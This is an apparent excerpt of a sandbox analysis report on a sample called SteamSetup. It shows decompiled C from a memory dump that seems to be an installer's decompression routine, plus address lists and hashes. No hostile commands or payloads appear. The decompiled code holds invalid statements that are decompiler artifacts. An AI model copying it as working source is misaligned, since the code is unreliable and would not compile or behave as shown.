									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406b92
0x00406b92
0x00406b96
0x00406c4d
0x00406c50
0x00406c5c
0x00406b3d
0x00406b3d
0x00406b40
0x00406eb2
0x00406eb2
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00406f28
0x00406f28
0x00406f2e
0x00406f2e
0x00000000
0x00406f03
0x00406f03
0x00406f07
0x004070b6
0x00000000
0x004070b6
0x00406f13
0x00406f1a
0x00406f22
0x00406f25
0x00000000
0x00406f25
0x00406b9c
0x00406ba0
0x004070e1
0x004070e1
0x004070e4
0x004070e8
0x004070e8
0x00406ba6
0x00406bac
0x00406baf
0x00406bb3
0x00406bb6
0x00406bba
0x00407080
0x004070cc
0x004070d4
0x004070db
0x004070dd
0x00000000
0x004070dd
0x00406bc0
0x00406bc3
0x00406bc9
0x00406bcb
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406bda
0x00406bdd
0x00406bde
0x00406be0
0x00406be0
0x00406be0
0x00406be3
0x00406be6
0x00406be9
0x00406bec
0x00406bec
0x00406bef
0x00406bf1
0x00406bf1
0x00406bf4
0x00406bf4
0x00406bf4
0x004066ca
0x004066ca
0x004066d3
0x00000000
0x00000000
0x004066d9
0x00000000
0x004066e4
0x00000000
0x00000000
0x004066ed
0x004066f0
0x004066f3
0x004066f7
0x00000000
0x00000000
0x004066fd
0x00406700
0x00406702
0x00406703
0x00406706
0x00406708
0x00406709
0x0040670b
0x0040670e
0x00406713
0x00406718
0x00406721
0x00406734
0x00406737
0x00406743
0x0040676b
0x0040676d
0x0040677b
0x0040677b
0x0040677f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x00406772
0x00406773
0x00406773
0x00000000
0x0040676f
0x00406749
0x0040674e
0x0040674e
0x00406757
0x0040675f
0x00406762
0x00000000
0x00406768
0x00406768
0x00000000
0x00406768
0x00000000
0x00406785
0x00406785
0x00406789
0x00407035
0x00000000
0x00407035
0x00406792
0x004067a2
0x004067a5
0x004067a8
0x004067a8
0x004067a8
0x004067ab
0x004067af
0x00000000
0x00000000
0x004067b1
0x004067b7
0x004067e1
0x004067e7
0x004067ee
0x00000000
0x004067ee
0x004067bd
0x004067c0
0x004067c5
0x004067c5
0x004067d0
0x004067d8
0x004067db
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406820
0x00406826
0x00406829
0x00406836
0x0040683e
0x00000000
0x00000000
0x004067f5
0x004067f5
0x004067f9
0x00407044
0x00000000
0x00407044
0x00406805
0x00406810
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406846
0x00406848
0x0040684b
0x004068bc
0x004068bf
0x004068c2
0x004068c9
0x004068d3
0x00000000
0x004068d3
0x0040684d
0x00406851
0x00406854
0x00406856
0x00406859
0x0040685c
0x0040685e
0x00406861
0x00406863
0x00406868
0x0040686b
0x0040686e
0x00406872
0x00406879
0x0040687c
0x00406883
0x00406887
0x0040688f
0x0040688f
0x0040688f
0x00406889
0x00406889
0x00406889
0x0040687e
0x0040687e
0x0040687e
0x00406893
0x00406896
0x004068b4
0x004068b6
0x00000000
0x00406898
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a3
0x004068a3
0x004068a3
0x004068a6
0x004068a9
0x004068ab
0x004068ac
0x004068af
0x00000000
0x004068af
0x00000000
0x00406ae5
0x00406ae9
0x00406b07
0x00406b0a
0x00406b11
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b22
0x00406b29
0x00406b2a
0x00406b2c
0x00406b2f
0x00406b32
0x00406b35
0x00406b35
0x00406b3a
0x00000000
0x00406b3a
0x00406aeb
0x00406aee
0x00406af1
0x00406afb
0x00000000
0x00000000
0x00406b4f
0x00406b53
0x00406b76
0x00406b79
0x00406b7c
0x00406b86
0x00406b55
0x00406b55
0x00406b58
0x00406b5b
0x00406b5e
0x00406b6b
0x00406b6e
0x00406b6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c03
0x00406c07
0x00406c0e
0x00406c11
0x00406c14
0x00406c1e
0x00000000
0x00406c1e
0x00406c09
0x00000000
0x00000000
0x00406c2a
0x00406c2e
0x00406c35
0x00406c38
0x00406c3b
0x00406c30
0x00406c30
0x00406c30
0x00406c3e
0x00406c41
0x00406c44
0x00406c44
0x00406c47
0x00406c4a
0x00000000
0x00000000
0x00406cea
0x00406cea
0x00406cee
0x0040708c
0x00000000
0x0040708c
0x00406cf4
0x00406cf7
0x00406cfa
0x00406cfe
0x00406d01
0x00406d07
0x00406d09
0x00406d09
0x00406d09
0x00406d0c
0x00406d0f
0x00000000
0x00000000
0x004068df
0x004068df
0x004068e3
0x00407050
0x00000000
0x00407050
0x004068e9
0x004068ec
0x004068ef
0x004068f3
0x004068f6
0x004068fc
0x004068fe
0x004068fe
0x004068fe
0x00406901
0x00406904
0x00406904
0x00406907
0x0040690a
0x00000000
0x00000000
0x00406910
0x00406916
0x00000000
0x00000000
0x0040691c
0x0040691c
0x00406920
0x00406923
0x00406926
0x00406929
0x0040692c
0x0040692d
0x00406930
0x00406932
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x0040694a
0x00406966
0x00406969
0x0040696c
0x0040696f
0x00406976
0x0040697a
0x0040697c
0x00406980
0x0040694c
0x0040694c
0x00406950
0x00406958
0x0040695d
0x0040695f
0x00406961
0x00406961
0x00406983
0x0040698a
0x0040698d
0x00000000
0x00406993
0x00000000
0x00406993
0x00000000
0x00406998
0x00406998
0x0040699c
0x0040705c
0x00000000
0x0040705c
0x004069a2
0x004069a5
0x004069a8
0x004069ac
0x004069af
0x004069b5
0x004069b7
0x004069b7
0x004069b7
0x004069ba
0x004069bd
0x004069bd
0x004069bd
0x004069c3
0x00000000
0x00000000
0x004069c5
0x004069c8
0x004069cb
0x004069ce
0x004069d1
0x004069d4
0x004069d7
0x004069da
0x004069dd
0x004069e0
0x004069e3
0x004069fb
0x004069fe
0x00406a01
0x00406a04
0x00406a04
0x00406a07
0x00406a0b
0x00406a0d
0x004069e5
0x004069e5
0x004069ed
0x004069f2
0x004069f4
0x004069f6
0x004069f6
0x00406a10
0x00406a17
0x00406a1a
0x00000000
0x00406a1c
0x00000000
0x00406a1c
0x00406a1a
0x00406a21
0x00406a21
0x00406a21
0x00406a21
0x00000000
0x00000000
0x00406a5c
0x00406a5c
0x00406a60
0x00407068
0x00000000
0x00407068
0x00406a66
0x00406a69
0x00406a6c
0x00406a70
0x00406a73
0x00406a79
0x00406a7b
0x00406a7b
0x00406a7b
0x00406a7e
0x00406a81
0x00406a81
0x00406a87
0x00406a25
0x00406a25
0x00406a28
0x00000000
0x00406a28
0x00406a89
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa4
0x00406aa7
0x00406abf
0x00406ac2
0x00406ac5
0x00406ac8
0x00406ac8
0x00406acb
0x00406acf
0x00406ad1
0x00406aa9
0x00406aa9
0x00406ab1
0x00406ab6
0x00406ab8
0x00406aba
0x00406aba
0x00406ad4
0x00406adb
0x00406ade
0x00000000
0x00406ae0
0x00000000
0x00406ae0
0x00000000
0x00406d6d
0x00406d6d
0x00406d71
0x00407098
0x00000000
0x00407098
0x00406d77
0x00406d7a
0x00406d7d
0x00406d81
0x00406d84
0x00406d8a
0x00406d8c
0x00406d8c
0x00406d8c
0x00406d8f
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e7c
0x00406e80
0x00406ea2
0x00406ea5
0x00406eaf
0x00000000
0x00406eaf
0x00406e82
0x00406e85
0x00406e89
0x00406e8c
0x00406e8c
0x00406e8f
0x00000000
0x00000000
0x00406f39
0x00406f3d
0x00406f5b
0x00406f5b
0x00406f5b
0x00406f62
0x00406f69
0x00406f70
0x00406f70
0x00000000
0x00406f70
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4f
0x00406e93
0x00406e93
0x00406e96
0x00000000
0x00000000
0x0040702a
0x0040702d
0x00000000
0x00000000
0x00406c64
0x00406c66
0x00406c6d
0x00406c6e
0x00406c70
0x00406c73
0x00000000
0x00000000
0x00406c7b
0x00406c7e
0x00406c81
0x00406c83
0x00406c85
0x00406c85
0x00406c86
0x00406c89
0x00406c90
0x00406c93
0x00406ca1
0x00000000
0x00000000
0x00406f77
0x00406f77
0x00406f7a
0x00406f81
0x00000000
0x00000000
0x00406f86
0x00406f86
0x00406f8a
0x004070c2
0x00000000
0x004070c2
0x00406f90
0x00406f93
0x00406f96
0x00406f9a
0x00406f9d
0x00406fa3
0x00406fa5
0x00406fa5
0x00406fa5
0x00406fa8
0x00406fab
0x00406fab
0x00406fab
0x00406fab
0x00406fae
0x00406fae
0x00406fb2
0x00407012
0x00407015
0x0040701a
0x0040701b
0x0040701d
0x0040701f
0x00407022
0x00000000
0x00407022
0x00406fb4
0x00406fba
0x00406fbd
0x00406fc0
0x00406fc3
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fee
0x00406ff1
0x00406ff4
0x00406ff7
0x00406ffb
0x00406ffd
0x00406ffd
0x00406ffe
0x00407001
0x00406fd7
0x00406fd7
0x00406fdf
0x00406fe4
0x00406fe6
0x00406fe9
0x00406fe9
0x00407004
0x0040700b
0x00000000
0x0040700d
0x00000000
0x0040700d
0x00000000
0x00406ca9
0x00406cac
0x00406ce2
0x00406e12
0x00406e12
0x00406e12
0x00406e12
0x00406e15
0x00406e15
0x00406e18
0x00406e1a
0x004070a4
0x00000000
0x004070a4
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2d
0x00406e30
0x00406e30
0x00406e30
0x00000000
0x00406e30
0x00406cae
0x00406cb0
0x00406cb2
0x00406cb4
0x00406cb7
0x00406cb8
0x00406cba
0x00406cbc
0x00406cbf
0x00406cc2
0x00406cd8
0x00406cdd
0x00406d15
0x00406d15
0x00406d19
0x00406d45
0x00406d47
0x00406d4e
0x00406d51
0x00406d54
0x00406d54
0x00406d59
0x00406d59
0x00406d5b
0x00406d5e
0x00406d65
0x00406d68
0x00406d95
0x00406d95
0x00406d98
0x00406d9b
0x00406e0f
0x00406e0f
0x00406e0f
0x00000000
0x00406e0f
0x00406d9d
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406db2
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dd7
0x00406dd9
0x00406ddc
0x00406ddd
0x00406de0
0x00406de2
0x00406de5
0x00406de7
0x00406de9
0x00406dec
0x00406dee
0x00406df1
0x00406df5
0x00406df7
0x00406df7
0x00406df8
0x00406dfb
0x00406dfe
0x00406dc0
0x00406dc0
0x00406dc8
0x00406dcd
0x00406dcf
0x00406dd2
0x00406dd2
0x00406e01
0x00406e08
0x00406d92
0x00406d92
0x00406d92
0x00406d92
0x00000000
0x00406e0a
0x00000000
0x00406e0a
0x00406e08
0x00406d1b
0x00406d1e
0x00406d20
0x00406d23
0x00406d26
0x00406d29
0x00406d2b
0x00406d2e
0x00406d31
0x00406d31
0x00406d34
0x00406d34
0x00406d37
0x00406d3e
0x00406d12
0x00406d12
0x00406d12
0x00406d12
0x00000000
0x00406d40
0x00000000
0x00406d40
0x00406d3e
0x00406cc4
0x00406cc7
0x00406cc9
0x00406ccc
0x00000000
0x00000000
0x00406a2b
0x00406a2b
0x00406a2f
0x00407074
0x00000000
0x00407074
0x00406a35
0x00406a38
0x00406a3b
0x00406a3e
0x00406a41
0x00406a44
0x00406a47
0x00406a49
0x00406a4c
0x00406a4f
0x00406a52
0x00406a54
0x00406a54
0x00406a54
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e33
0x00406e33
0x00406e33
0x00406e37
0x00000000
0x00000000
0x00406e3d
0x00406e40
0x00406e43
0x00406e46
0x00406e48
0x00406e48
0x00406e48
0x00406e4b
0x00406e4e
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5b
0x00406e5d
0x00406e5d
0x00406e5d
0x00406e60
0x00406e63
0x00406e66
0x00406e69
0x00406e6c
0x00406e70
0x00406e72
0x00406e75
0x00000000
0x00406e77
0x00000000
0x00406e77
0x00406e75
0x004070aa
0x00000000
0x00000000
0x004066d9

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 683f34e5330f3119535e65c3fcc014917b66dea9351a733ad05ad489270f429c
Instruction ID: c728d5504c89e28601c55753f21d2f559f3974f1a6ce44cf054f885a45476dee
Opcode Fuzzy Hash: 683f34e5330f3119535e65c3fcc014917b66dea9351a733ad05ad489270f429c
Instruction Fuzzy Hash: 06813471D04228CFDF24CFA8C844BADBBB1FB44305F25816AD856BB291C7789A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406697 Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406697(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M004070E9))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12);
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
